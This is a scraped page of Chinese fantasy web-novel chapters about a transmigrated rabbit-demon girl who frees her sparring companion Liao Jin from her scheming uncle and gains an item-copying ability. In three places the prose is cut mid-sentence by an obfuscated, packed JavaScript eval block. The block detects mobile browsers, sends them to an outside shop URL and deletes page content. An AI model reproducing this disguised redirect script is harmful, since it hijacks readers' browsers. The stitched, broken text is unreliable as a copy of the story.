柳安玫望着他,脑中谜点重重。 他不想要天材地宝了?告诉她真相的意义是什么? 突然良心发现? 亦或则被她给打动了只为在她身边待着?那不ooc了吗! 不不不,绝对不是。 算了,先不管了,不管他是不是有其他打算,她都会先提醒父亲盯紧二叔。 她是这样想的,若他变了性子不再和原主二叔狼狈为奸,也不危害到她和原主母亲和父亲,不影响她以后的安稳生活她倒是可以帮助他解除体内封印,但不是现在。 她手上动作没停,打开黑盒子,一条白色肥嘟嘟的虫子正在鼓着身子蠕动着。 好恶心。 她收下盒子,道:“谢谢廖锦哥哥没给我下虫,我不会赶你走的。我今日不修炼了,你也不必陪我了,想吃什么用什么就唤喜鹊给你取。” 廖锦不冷不淡“嗯”了声。 起初那头狼让他给她下虫,说能把他送进来,事成之后许诺给他各种天材地宝他答应了。为的是能混进狼府,再找机会突破封印。 现如今那只兔子说不会赶他走。 不管他给不给她下虫,那头狼都会想法设法引起内乱,他到时候再趁机被销魂刀砍一刀也能解开封印,所以没必要再造杀虐。 思及此,廖锦心情颇好地哼着童谣回榻上躺着了。 —— 这边柳安玫去了主院去找柳文琦。 被告知他一早下了山,还没回来。 柳安玫嘱咐他如果她爹回来了,就通知她。之后便回了自己的院子。 她是有想过要不要去跟祖母说的,但是她人微言轻,二叔也还没什么动静,她老人家不一定会相信她。 就这样柳安玫从正午等到了晚上。 “咚咚”房门被敲响。 喜鹊打开了门,看清楚来人后,忙弯腰见礼:“少主。” 柳文琦抬抬手,示意她下去。后抬脚绕进内室。 “安安怎么了?听柳叶说你找我。”说着他拍拍衣衫坐在了床榻前的小木凳上。 柳安玫见他来,立刻打起了精神,咻地起身下床,在梳妆台前拿起一个黑盒子递给柳文琦。 “这是什么东西?神神秘秘的,是安安送给爹爹的小礼物……”柳文琦话没说完,待看到了盒子里的东西,哑了声,沉着脸合上了盖子:“哪里来的?” 柳安玫把今天发生的事情简单地跟柳文琦复述了遍,后又做出天真表情问道:“爹爹,二叔他为什么要害我们?” 柳文琦脸色黑得能滴出墨,勉强扯出一抹笑:“没事安安,有我在,他不能拿你怎么样。只是廖锦,爹爹怕他会对你不利,不可再留着他了。” “不行爹爹,玫玫说了不会赶走他。况且如果贸然赶走他,只怕二叔也会有所察觉。爹爹放心有喜鹊在我不会有事的,再说了我有爹爹的保命法宝在身,不会有人能伤到我的。不如我们将计就计,引二叔动手,之后我们再将二叔擒下。” 柳文琦摸摸她的头:“不必如此,爹爹心里有数,你安心在府里待着,近日不要出府。” 柳安玫点点头。 父女俩又闲话家常片刻,柳文琦才心事重重地离开。 —— 黑云崖边界。凛冽狂风吹得人走不动路,时不时从山间传出几声巨响哀嚎!枯黑似火烧的老枯树乌压压地包裹了整个山底阻碍着前来的过路人,仔细看去树杈上还长着些尖锐倒刺,隐约几个树枝上还挂着飞禽和妖兽腐败的尸体。 浓重的血腥味使得路过的人频频皱眉,压抑感席卷着心脏让人喘不上气。 黑云崖地处偏僻,夹在凡人修真界与妖界之间,因着山上常年被诡异的黑雾笼罩,所以山里面照明不见光,四季不分,有时刮的风让人冻死,有时又能将人热死。 越往山上走危险系数越高,有时是迷雾,有时是幻境。时不时发生些地裂山崩等情况因此很少有人能上至高处。 没人去过高处,亦或者是没人从高处活着回来过。 这也导致许多黑贩子拿着不正途的天材地宝来此地交易。来这边的大多都是些恶妖,心大如他们也只敢在低一点的山间交易。 废话,上高一点都像在送死。 一众小队收获颇丰地从山上往边界走,他们脸上挂着伤,不知名的血液印在脸上也不擦,黑色衣袍也刮开了几道口子。 唯有其中两位偏小年纪的少年少女身上干净些,两人脸上染着疲惫之色,提着剑的手微微颤抖,大张着口喘着粗气,高度紧绷的精神在靠近边界处才得到些许放松。 出了黑云崖边界他们就能找个地方好好休息了的念头支撑着他们走了几里又几里的路。 此次上山,他们杀了几批在黑云崖交易的恶妖,拿到不少低阶法器,其中还有二十个中阶,十个高阶,虽是些一次性的东西,但这些放在市面上依旧难得。 他们放声大笑着,有了这些东西这几日的辛苦也值了。 一行人一前一后护着少年少女用了一刻钟的时间出了边界。 又御剑行百里路后才见有人烟,众人寻了个空旷的地方降落,轻车熟路地找到常驻足于此的客栈。 看守客栈的是只蜥蜴精,一行人进店时正见他往嘴里塞苍蝇,嚼得嘎吱脆响。 见到来人,他舔舔嘴角: “嘿,客人来了。要几间房?” “五间。”一行人中,为首一满脸胡茬的壮汉柳玉智从储物袋里拿出五十枚金光闪闪的妖币“碰”地拍在桌上。 “好,房牌您拿好。” 柳玉智垂头看了眼自己的外甥安柯和外甥女安雪,宽大布满老茧的手摸了摸他们的头:“呵!你们两个小崽子累坏了吧,走吧去睡觉。休息好了舅舅带你们大口吃肉。” 安雪早已累得不行了,这几日的高度紧绷让她很少闭上眼。 进了房间还是硬撑着让小二备了些水去洗漱。 她闭目泡在桶里,搭在桶外手上握着一张传讯符,那是前两日安玫妹妹传给她的,现下才有时间去听。 “安雪姐姐我化形了,二叔还送我了个陪练,很帅,就是不怎么喜欢说话。你们到地方了吗?什么时候回来?” —— “现在已经出了山,兴许要赶两日路才到家。” 柳安玫握着传讯符,心情尚佳。她扭头看向身边的人,手指戳了戳他:“廖锦哥哥,干看书太无聊了。你在这里等我会儿,我去拿几个果子吃。” 廖锦淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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柳安玫把洗好的果子放在两人中间,换往常这果子都是她一个人吃,这次不一样因为这是廖锦没对她下虫的奖励。 “奖励你的果子,甜甜的,以后你多做点好事,奖励也是多多的。” 廖锦看了眼果子,伸手拿起一个,咬了口,饱满的果汁融入口腔,他眼睛微微亮起。 难怪她经常吃,是挺不错的。 柳安玫看着他手下的书,问道:“你这个学会了吗?” 入画技巧,遇到危险入了画谁能找得到她。 “这个简单。”廖锦上辈子成魔的时候,学过比这个更高阶的,可以在画里不动声色杀人。 “廖锦哥哥请赐教!” “一般低阶一点的入画是你进入画中这个画会限制你的行动,所以你就像纸片人无法思考行动,在画里你更不会知道自已会被人带到哪里。” 柳安玫点点头,一副听懂了的模样。 “你入画前要准备一副画,还需提前滴血上去,之后便是掐诀,默念入画的咒语,就能成功入画,低阶入画消耗妖力精力会很多。如果后续你有能力学高阶入画就不用再滴血上去也能入画,相对消耗的妖力和精力也会少。” 柳安玫点点头,寻了张图去实验。 果真成功了! 学到好玩的,她一天下来也忘了耗损妖力和精力这件事,来来回回进入画中数十次。 —— “这个桌子放这里,三小姐要和二小姐坐在一起。不可分的太开。” 前院膳堂内,喜鹊安排着要摆接风宴的席位。 今个是柳玉智和安柯安雪要从黑云崖归来的日子。柳文琦开心,特意摆了宴,邀请了族内的人一起吃饭小聚。 狼族族长有两个儿子文琦和文铮三个女儿文羽文月文琴。 其中大儿子文琦和五女儿文琴是大夫人所出。 二儿子文铮和三女儿文羽是和二夫人所出。 余下四女儿文月是和三夫人所出。 因着族长远在万扬山坚守岗位,走时又带走了三夫人和文月,余下没走的都被柳文琦请了来。 本是一场普通的接风宴,柳文琦念在众人长久没一起聚过,便同时操办起了家宴。 5. 金手指 宾客陆陆续续的来,不多久膳堂便围了数百号妖,其中包含有狼族旁支一脉。 罕见地,大夫人柳玉青也出现在了大众视野。柳安玫自从穿来到现在也是头一次见到她,据说之前是在闭关。 柳玉青察觉有道目光注视自己,顺着看过去,朝她笑了笑。 柳安玫也朝她笑笑。顿时感觉她爹爹走了大运,两位夫人的美给人的感觉是不同的,一位是熟性美一位是娇弱让人有保护欲的美。 人还没到齐,她也没着急入座,而是在一处较为空旷的地方坐着,身边廖锦端着盘果子,其中还掺杂着几块胡萝卜。 她吃的香甜,嘴角挂着笑。 “柳安玫。” 一道声音从身后响起,柳安玫回头,只见一副张着血盆大口,两个威风的獠牙挂着透明的口水丝,瞳孔里散发着绿幽幽的光的脸忽地出现在她面前。 是头狼妖,狼头人身,见她回头,狼妖眯起眼睛舔了舔牙齿,毫不犹豫地朝她咬过去。 “……”打架不通知一声的吗?这让人很难招架啊喂! 柳安玫机灵侧身躲过,祭出长剑朝狼妖劈去。 “铮”的一声令人牙酸的声音响起,剑身被狼牙紧紧咬着,狼牙微微用力,“咔嚓”声响,剑身寸寸龟裂,碎成了渣渣。 剑断了。 柳安玫瞅着手里只剩剑柄的佩剑,下定决心后续她一定要找到一把好剑。 见此情景,狼妖吐掉口中的剑渣,寸寸逼近,丝毫不给她喘息的机会,双手化作猎爪袭向她。 柳安玫压力山大,可没人管她,众人都是一副看戏的姿态看着他们缠斗。 “廖锦救我!”柳安玫闪身躲在廖锦身后,手里紧紧攥着他的衣袖。 廖锦蹙眉,下意识扔掉手中的盘子,抬手护住身后的兔子往后撤。 同时一只手掐诀,数道凛冽剑霜刺向那双不安分猎爪。 在狼妖被剑气纠缠的这段时间,两人已经退至安全距离。 “好了明歆,不要和你堂妹闹了。” 说话的人踏进膳堂大门,抬手的瞬间,缠着狼妖的剑气瞬间消失。 被叫做明歆的狼妖幻回人形,朝柳安玫得意笑了笑,似是在嘲笑她是只弱鸡。 被压着打的滋味不好受,柳安玫咬牙,暗自下定决心好好修炼。 “安安过来。”柳文琦喊道。 他带着两位夫人迎上前来的几人,那些人分别是她二叔柳文泉,堂姐柳明歆,堂哥柳明松,其余的便是些护卫。 柳安玫顶着几人的注视走上前。 奚悦温和地拍了拍她早已被汗浸湿了的背,力道沉稳让人安心。 “安安,没吓到吧?明歆是跟你开玩笑的,你不要怪她,要怪就怪你二叔。人界有句古话,子不教父之过,你若是不高兴,爹替你做主,放放你二叔的血,非让他吐出来些好东西给送你不可。”柳文琦呵呵笑道。 柳安玫佯装怯生生地看了眼柳文泉,抿了抿嘴:“玫玫是有些被吓到了,不敢生二叔叔的气,倒是敢生明歆堂姐的气,不若让堂姐拿些好东西出来给玫玫消消气。” 她这副神态落在柳文泉眼里,使得他“哈哈”大笑起来,可能打心底觉得她懦弱无能比不过他有本事的女儿吧。 “小孩子间的打打闹闹罢了,哪谈什么气不气的。安安你想要什么尽管跟二叔说,二叔那好东西多着呢,就当替你堂姐给你赔不是。” 明歆叉着腰站在她爹旁边,神态倨傲。眼神落在廖锦身上时,暗自冷哼了声。 “玫玫妖力不佳,遇到厉害一点的妖必是不可能打的过。若是二叔叔能多给几件高阶护身法宝护着,那玫玫每次用它都能记着二叔叔的好。想来二叔叔也是愿意给的。” “那是应该的。”柳文泉看向她身旁的廖锦,话锋一转,指着他道:“不如二叔再给你换一样东西,你把他给我,我再给你三个高阶宝贝。” 话落,全场寂静。不知哪里发出了吸气声。 在不知情的人眼里,廖锦只是一个身份低微的陪练小妖,断然是不比三个高阶法宝有价值。 没想到二爷会愿意拿三个高阶法宝去换他,难不成这陪练有什么通天本事? 廖锦瞧柳安玫一眼,对放只回了他一个放心的眼神,就把他推了出去。 廖锦:“?” 柳安玫不理会他:“二叔说话算数。” “那是自然。”说着,柳文泉便从储物袋中拿出六个高阶法宝,全是用来护身的。 柳安玫手指刚触碰到法宝,脑海中霎时间弹出几个大字。 【检测出有赠送的护身法宝,是否选择复制。】 柳安玫一喜,原来复制的功能是用在这里。她在脑海中试探性回应:复制。 【成功复制十二件高级法宝,护身法宝已自动放入储物袋,请查收。】 柳安玫:还能再复制一些吗? 【低级护身法宝一件可以复制三十次,中级护身法宝一件可复制十次,高级护身法宝一件可复制二次,神级护身法宝一件只能复制一次。注意神级法宝每复制一次就会启动九十天冷却期,在此期间不可使用复制功能。】 原来如此,柳安玫一想到以后有取之不尽的护身法宝自保,嘴角压都压不下。 没留意到廖锦看着她的眼神。 廖锦:“……”死兔子。 三个高阶法宝就把他卖了,还笑得那么开心。 白瞎了他刚刚救她。 “这是狼族家宴,他继续留在这里不合适,带他回府。”柳文泉挥挥手,示意护卫上前带走他。 柳安玫看着两边走上前的护卫,忽地,紧紧攥住廖锦的手腕,面上似有不舍:“你最开始是二叔送来了,如今二叔要带走你我也说不了什么。离了我,你一定要放心。” 她攥住他的手又紧了紧,一股凉意钻进他手腕。 “……”廖锦不明所以地看着她,目光里有疑惑有不解。 她这是在闹哪一出? “安玫小姐,您松下手。”擒人的护卫出声提醒。 柳安玫松开手,目送他被带走。 看着这一幕的柳文琦松了口气,在知道廖锦是柳文泉塞进来害安玫的人后,他一直都不放心。如今被他收走他也能安下心想办法对付柳文泉。 小插曲结束,柳文琦招呼着众人入席。 没过几时,风餐露宿的一行人也回了府。 安柯兴奋地同柳文琦讲述着黑云崖发生的趣事。 他们此行还带回了一个人,那是他们在回来路上遇到危险时伸手相助的侠义之士裴鹗。 听到此,柳安玫目光掠过人群,寻找那位侠义之士,那人坐在柳安雪身后,穿着一身月白色衣袍,嘴角噙着温柔的浅笑,察觉到有人在看他时,他也回望打量她。 柳安玫没错过他眼底的一抹惊艳和势在必得的野心,她微微蹙眉,心下便在原著查询他。 结果查无此人,原著里没有这号人。 看来现在的剧情全乱了,已经偏离原剧情轨道了。 她借口拉走安雪说着悄悄话:“他参加完今日的家宴就走吗?” 安雪摇头:“他可能要在府中借住几日,哥哥答应了他。”她说完又好奇打量柳安玫身后跟着伺候的人,疑惑道:“前日听你说身边带了陪练,这次回来也顺带给他带了个法器。怎么不见他人?” “此事说来话长,改天我再同姐姐说。”柳安玫算算时间,这话讲下来能讲半天。这段时间发生的事情太多了。 “安雪妹妹,这位是?”裴鹗不知道什么时候插话进来。 “我的好妹妹,安玫。”柳安雪亲昵地拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471428|201503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她的手笑道。 “难怪和你一样有着倾国倾城之貌,小生何德何能遇到两位妙女子。” 裴鹗的话让柳安雪耳根一热,忙捂脸笑骂他:“好了,你住嘴不要再说了,真不害臊!” “……”柳安玫打量着两人之间的暧昧的互动。 得,这是快要坠入爱河了。 男主还没见到她姐姐呢,她姐姐就被人给撬走了。 她似乎已经开始能接受崩坏的剧情了呢。 —— 下山路漫长,一如当日进府时。 廖锦被几位护卫压制推搡着往前走,脚步踉跄。 他倒有些恨他当时的天真的相信她不会赶他走。 事到如今,为时已晚。只能先跟着他们走,后再想办法逃出去。 护卫压着他又行数里路,把他带到山底的一座跟狼府差不多建筑的府邸中。 到了地方,廖锦眼睛被缠上黑布,脚下的步弯弯绕绕走了几个圈。 遮眼的布被取掉后他已经到了一个监牢似的地方,他被粗鲁禁锢在木桩上,四肢被锁妖链紧紧拴着。 一旁架子上烤着火,那火不似寻常火,冒着森森蓝光,大抵是加了些妖火在里面。 四周墙面上也挂着各种性状各异的刑具,地牢腥臭味浓郁,熏得他不由得皱眉。 带头的护卫取下腰间的葫芦仰头喝了口酒:“你小子,不听二爷的话,下场就是死。当初你主动找上门讨二爷的庇护,二爷信了你,用了你,你就是这么回报二爷的?” 廖锦:“……事已至此,若二爷还肯信我……” “呸!现在怕死了,晚了!你就老老实实地等死吧!明歆小姐最喜欢刨妖丹了,你最后一个用处就是拿自己妖丹给明歆小姐串串子玩。” “……”廖锦动动手,手腕上隐隐还有股兔子握他手腕的凉意。 当时她的眼神那么坚定地说出那句“你一定要放心”莫名的他有些期待她会做些什么。 希望她不会让他失望。 —— 另一边,狼府热闹的家宴已经结束,仆役正在收拾着残局。 柳安玫借口离开,潜入了柳文琦的私人书房,门口有妖守着。 她拿出从柳文琦身上偷来的信物,小脸严肃道:“父亲让我来取件东西。” 那妖盯着信物看了良久,久到柳安玫以为暴露了,想打晕他混进去的时候。 他开口了:“……三……三三三小姐,请请请进。” 林安玫呼出一口气,原来是个结巴。 进入书房,里面的陈设跟普通书房没什么区别。墙上挂着画有大夫人和二夫人的画卷,书桌上是没有写完的字贴,残缺的半截蜡烛亮着暖黄色的光。 她来回在架子上翻找。外面摆放的没有,那大概是有暗格什么的,电视剧都是这么演的。 然而她几乎把所有东西都摸遍了也没找到一个暗格。 就在她思索着是不是被妖力藏起来的时候,她伸手不经意间摸到一个硬硬的石头。 她回头看去,那是个长长的獠牙,普普通通没什么特殊的,最大的区别就是它的下半部分很锋利。 这该不会就是那个销魂刀吧,这么好找? 最危险的地方就是最安全的地方? 原著并没有描绘销魂刀的样式,她也只是猜测。 时间不多了,再找下去,廖锦估计会被折磨的半死不活,之后再拖个残缺的身体找她复仇。 他违背原著没给他下虫,她也不能违背信誉抛下他! 罢了,死马当活马医。不行就换个方式把他搞出来,这样人和法宝依旧两得。 但她有预感就是这个,因为她拿起刀的时候,她有半狼的血液在沸腾,是原始的呼唤! 激动的她当场就要“嗷呜~”出声。 6. 下头男 “廖锦,你没想过你有今日吧?”柳明歆手里拿着一把被妖火烤红的刀。 刀锋逼近廖锦,炎热的高温使他本能地往后靠了下。被妖火烤过的东西能长久保持同一个高温不降,被划一下,除非有中阶丹药,不然好不了。 柳明歆倒是没什么犹豫,迅速找准他的手臂砍去。 “铛”的一声,两人预想中的结果都没来,廖锦手腕上泛着光,一个圆形的透明光罩把他整个人给护了起来。 任由柳明歆如何击打,他连根头发丝都没掉。 柳明歆气愤地摔掉手里的刀:“这是我爹今天给那只臭兔子的护身法宝,她什么时候给了你?” 廖锦想了想,大概是在她握着他手腕的那一刻吧。 “有这个护着你又能怎样,这件法宝最多只能护你一个时辰,一个时辰后你还不是照样要被我砍。” 说罢,她转头就走,打算过一个时辰再来,她可没兴趣一直跟一个不会说话的哑巴待在一起。 廖锦逃过一劫,他侧头看看手腕处,还有淡淡凉意。 兔子原来故意的,知道他死不掉所以把他送来换三个高阶法宝。 那接下来呢,她会如何救他呢。 “我挖我挖!直线距离十米。差不多是这里没错了。” 一道极轻的声音从地底下传来,待声音越来越近时。 窸窸窣窣的,放着刑具的桌子下被挖出了个洞。 两条黑色长长的东西探了出来,环顾四周没有看到人后,一道穿着夜袭衣的人影从洞里爬了出来,是只兔子精,她那双耳朵也被黑布包了起来。 廖锦不用脑子想都知道她是谁,他张了张嘴,还没出声,一只带有些许泥土的手就覆盖上他的嘴。 “嘘”兔子不想让他出声。 廖锦脸僵了僵,略为湿润的泥土味道像是他之前常吃的野草。 她似是也想起了自己的手刨过土,讪讪地收回手,有些不好意思。 她压低声音说道:“我用了我姐姐给我的中阶避神识的法宝,我只能在这里不久,事不宜迟,我救走你,你答应我几件事情。” 廖锦压低声音:“什么事情?” 柳安玫动动手指:“我掐指算过你体内有封印,解除封印后你便能遇神杀神,遇佛杀佛。所以我特意来帮你解除封印。” 廖锦神色复杂地看着她张张合合的小嘴。 看来他想得不错,她果然也是重生的。 “好,我信你。你需要我做什么?” 柳安玫神色认真地说:“第一,你以后不要找我做你的夫人,我没有伺候别人做月子的爱好。第二,在我有需要的时候你必须不留余地的帮我。第三,你发达了后,看在我们之间出生入死的情谊上每年送我三件高阶法宝就当报答我怎么样?不过分吧?” 听到第一条的时候,廖锦微微蹙眉。 合着把假廖锦当成他了,他才不会找那么多叽叽喳喳的女人。 对他来说三个要求都不过分。 “我答应你。” 闻言,柳安玫拿出一张纸,是个高阶誓言法宝,上面条例着她刚刚说过的话。 她嘟嘟嘴:“就差一个若是你违背了誓言......” “自断双腿双臂。”廖锦接过她话道。 他话音刚落,那张纸上就凭空出现了一句话。 【若违此约定,自愿断去双腿双臂。】 很好,柳安玫满意地看着他。 离誓言完成就差最后一步,滴血。 柳安玫手脚麻利地解开他身上的护身法宝,拿出销魂刀在他身上划了一道口子,血液滴在誓言纸上,晕出一朵花后消失。 契约成功。 多亏他的配合,才能这么顺利。 她也不磨叽,抓起销魂刀,插进他的心口处。强烈的光芒瞬间炸起。 柳安玫凝神拔出刀。逃也似的快速跳到洞口附近,将一个储物袋放在刑具桌上后,朝他挥了挥手:“廖锦,这个储物袋你记得拿,再见。” 之后头也不回地跳入洞口。 原著中廖锦突破封印的时候,毁掉了周遭所有的东西,他抑制不住那股力量但又渴望那股力量。 她可不敢在他身边待着。 * 再次听说柳文泉的府邸被烧毁,死了很多妖的时候,柳安玫正在和她姐姐一起修炼。 柳安雪一早便在柳安玫口中得知了她二叔的计划,闻听此言,有些开心。 “这火是你放的吗?” 兔子点点头,不想让她知道她偷了销魂刀的事情,背锅道:“嗯嗯,我放了把火,但是妖不是我杀的。” “那些恶妖死了也是报应。估计是早就有人恨上了他,趁着他府里正乱的时候添了把火,正好遂了我们的意。对了,你昨晚把你那个陪练救出来后送到了哪里?”她看向身旁一本正经打坐的兔子问道。 柳安玫:“他怕二叔的报复,现在应该是去了凡人修真界吧。” 原著里是这么说的,但是现在的原著不想也罢,没一点能对得上的。 安雪点点头:“二叔损失惨重,倒是给了爹爹收拾他的机会。恰巧,我舅舅要带我们去衢都万扬山,二叔的事情我们就不管了,安心等待万扬山招生吧。” —— 衢都。 妖界首都,万家楼阁镶金点缀牌匾,沿街上百家商铺迎来送往各种妖和修士,有骑着大象的牛头人、坐在悬浮毯子的蛇女、还有负剑的白衣修士正与同伴交流晚膳吃点什么。 街面小摊的叫卖声此起彼伏。 “只需一千枚妖币,一次性低阶攻击法宝,走过路过不要错过,能杀二阶以下修为的妖。” “好吃的杏花糕勒,三枚妖币一个,五枚妖币两个。多买多优惠,客官来看看。” “新到的小萤虫,吐一次光能照亮一整间屋子半年之久。价格实惠,三枚妖币一只。” 此时,一辆不起眼的马车缓慢行驶着混入人群中。 车帘半掀,只露出一双眼睛好奇地来回观察着。 马车穿过闹市,又行了三条街在一座府邸前停下。 朱红色门前站着几位穿着素雅,却不失气质的妖,其中有一位穿着鹅黄色衣裙的凡人,那应该就是她祖父柳冲的第三位夫人陈菀。 凡人寿命不长,陈菀却没什么变化,依旧年轻貌美。 据之前狼府里的老人说,是这位三夫人抢了柳冲曾许诺给大夫人的神阶驻颜丹,再加上有柳冲给她续了命这才将年轻时期的样子维持至今。 当时陈菀抢走她祖母的东西时,柳冲毫无作为,还处处偏袒包庇着她。 气的她祖母和柳冲发了很大的火,这些年一直没怎么理过他。 一位住在山上的狼府,一位做自己的驰狼妖尊,住在妖皇赐下的妖尊府。 没想到这狼族上一辈子的感情也是剪不断理还乱。 突然就有些见识到柳文琦这位端水大师的厉害了。 就连这次来衢都他们的祖母大夫人李璇也跟来了,不过碍于她不想见柳冲,所以住在了自己衢都的娘家没一起跟过来。 摇晃着的马车停稳后。 柳安玫放下窗帘。 另一辆马车上的柳玉智先下了马车,后替他们掀开马车门帘。 “到了,快下来吧。” 三兄妹前前后后下了马车,齐齐朝府门前的一行人走去。 这次来他们都没带丫鬟小厮,钱也没带。他们爹爹说,妖尊府不缺这些,把自己安安稳稳送过去就行了。 柳玉智性子开朗,说话带着粗腔,还没靠近他们便呵呵大笑道:“柳伯伯,我把他们送来了,你看看他们这段时间锻炼的怎么样?” 被他叫做柳伯伯的男子锐利的目光挨个划过几个人,最后视线停留在柳安玫身上。 “你们资质都行,上山是没问题的。但是跟天才比还是差得远。特别是这个小崽子要重点练练。” 闻听此言,大家都笑了。 被点名的柳安玫默默低头,心里暗下着决心。 陈菀笑意盈盈,她抬手扯了扯柳冲的衣袖:“大人,孩子们赶了几天路,先让他们休息休息,等月月回来了再带着他们在衢都逛逛,我们先进府。” 柳冲拍拍她的手,对她的识大体非常受用。 “行,晚会儿月月回来了让她带你们去逛逛。都别愣着了,走,进府。” 知道他们要来,陈菀很贴心地收拾好了他们的卧房。 她和安雪被安排在了相邻的两个房间,安琦则是跟他舅舅在柳冲的卧房旁。 倒是方便了祖孙之间畅聊。 妖尊府很大,走走停停进了几个回廊,路过几个假山。总算是到了她们被安排住的院子。 此刻,柳安玫坐在梳妆台前,对着铜镜拆卸钗环。 这几天舟车劳顿,铜镜里的人都显得有几分颓废。 丫鬟正在备着沐浴要用的水,待水温合适后,过来唤她:“三小姐,热水备好了。您进去泡着,奴在一旁给您按摩按摩。” 柳安玫点点头,整个人缩进浴桶内,只露了个头出来。 舒服的水温接触皮肤使她不由自主地叹了口气。 舒服! 这才是米虫该过的日子。 她闭目养神任由丫鬟给她按着头。 脑海里胡乱想着。 经过这段时间的修炼,她的耳朵已经能完全收回去了。妖力也突破到了两阶。 没想到在祖父眼里,最该修炼的还是她。难怪修炼都要看筋骨,她算是懂了。 妖族修炼的妖力有十个阶,之后便是金丹初期、中期、后期,然后成为妖尊。 修炼之路很长,妖尊后面还有厉害的,只要踏上这条路,修炼就贯彻了整个妖生。 柳安玫心中默念,我要变强,我要变强。 既然要练,那就练得厉害些。 实在不行她拿复制来的法宝换丹药提升自己,这也算是条捷径。 * 衢都的夜晚灯火通明,来来往往的妖要比白天的多。 因此卖东西的商贩喊卖声更大了些。 柳安玫和姐姐安雪被他们的姑姑柳文月带了出来。 柳安柯没来,他说这些都是姑娘家爱逛的,他要跟着祖父专心修炼。 可谓是卷王无疑了。 由于她们是第一次来,不太熟悉,只得四处瞎逛。 有趣的东西很多,柳安玫在狼府住的时候偶尔才下山,好玩的东西没这边多。 她拉着安雪买了很多东西。 单是逛街也无聊,没过多久几人便逛累了。 柳文月提了个意见,说是去星辰楼,那里是个拍卖行,时常会有稀奇物拍卖,可以进去看看。 两人在外面买了那么多,身上自然是没有很多钱,但是也想去凑凑热闹,就跟着一起去了。 星辰楼离得近,走了几步路的时间便到了。 到地方柳文月拿出妖尊府腰牌递给看门的小厮。 那小厮谄笑地带着他们进去。因着他们是柳家的人,无需验资,单单是身份摆着就没人怀疑他们没有钱。 于是三人被安排到了三楼雅间。 从三楼看下去,一楼的妖非常得多,但是因为限制人数,倒也没有到人挤人的地步。 拍卖是在星辰楼闭门之际开始的,最后一个人进来的时候她多瞧了几眼,有点眼熟。 只一眼便收回了目光,不是很在意。 “第一件拍品,中阶攻击型法宝,对六阶妖力者能造成五成伤害,若是幸运可以一击毙命。起拍价两万妖币。” 闻言,柳安玫有些激动,手覆盖在腰间的储物袋上,有点想拿里面的各种复制来的护身法宝去拍卖,这也太贵了。 如果她不修炼,光是拿法宝放这里拍卖都能过上无忧无虑的生活。 但是她深知一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471429|201503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个道理,如果她有法宝没有实力,她是护不住这些法宝的。 总而言之,修炼变强是必经之路。 楼下纷纷叫价。 最后是被猛熊家族的妖以五十万妖币的价格给卖走了。 庆祝拍卖掉的欢呼声持续了没多久。 拍卖继续。 周围竞价声此起彼伏。 “雪儿。”一道温柔到能滴水的声音从雅间门外传来。 屋内三人齐齐回头。 来人是裴鹗。不用脑子想就知道是奔着谁来的。 没错他们来了衢都,这厮也来了,也要去万扬山拜师修炼。 刚刚关门时那道熟悉的身影也是她。 柳安玫磕着瓜子,看看安雪又看看裴鹗。 柳安雪起身把人给引了进来。 裴鹗眼睛四下乱看,在看到柳文月那张清冷的脸时,眼里闪过一道惊艳。 这一幕被柳安玫精准捕捉到了,她暗自翻了个白眼。 裴鹗这人每见到一个美女都是这种势在必得的眼神。 她都怀疑原著男主和他放在一起比,都比不过他。 他俩要是相见,那还是真应了一句话‘低山臭水遇知音’。 她早就跟她姐姐说过这男人有问题,偏偏柳安雪像是着了魔般看不到。 “雪儿这位是?”裴鹗看着柳文月问道。 “我四姑姑。”柳安雪手里搅着帕子,小女儿姿态十足。 柳文月只是淡淡地点头,以示招呼。转头间不自觉地蹙眉,似是有些厌烦。 裴鹗自然是没看到。 自从他来柳安玫就没有看下去的意思,觉得他扫兴。 好在这次的拍品不多,拍卖会很快就结束了。 她们没有收获到什么。 反而是裴鹗一整场下来都在问柳安雪要什么? 期间柳安雪看到一个簪子,很喜欢。 她们都看出来了,偏偏裴鹗装傻,还在问她要不要。 柳安雪哪好意思花他的钱就说了“不要”。 他还当真是没给买,还颇感到遗憾说道:“这个簪子我觉得真的很配你,可惜了你不要。” “裴公子,你觉得这个簪子跟我姐姐很适配,那你买给我姐姐呀,问那么多不如直接买来得实际。”柳安玫当时就怼道。 裴鹗反驳的话是:“雪儿说她不喜欢,我不喜欢买些雪儿不喜欢的。” 这句话听他一说出口,柳安玫当即就想给他一巴掌让他滚远点,穷显摆,下头男。 碍于大家都在,她还是忍下了,只不过后面看他的眼神恨不得把他杀了。 反而对方却还是一副温润公子的模样。 最后这个簪子是被柳安玫拍下的,她送给了柳安雪。 她很开心。 三人回去的路上,向来不爱说话的柳文月也忍不住了。 “安雪,我说句不好听的,这个人并非良配。” 柳安雪白了脸,许是心里难受并没有说话。 柳安玫则是在一旁连连点头,这说得太对了。 —— 时光匆匆,恍惚间,她已经来到了这个世界十数年。 对妖来说,十年不过弹指间。 这些年她拜入了万扬山,妖力已达六阶,比同批入门的妖修炼的还要快。 甚至超出了安柯安雪一阶。 倒不是她经常在修炼,而是她有金手指。 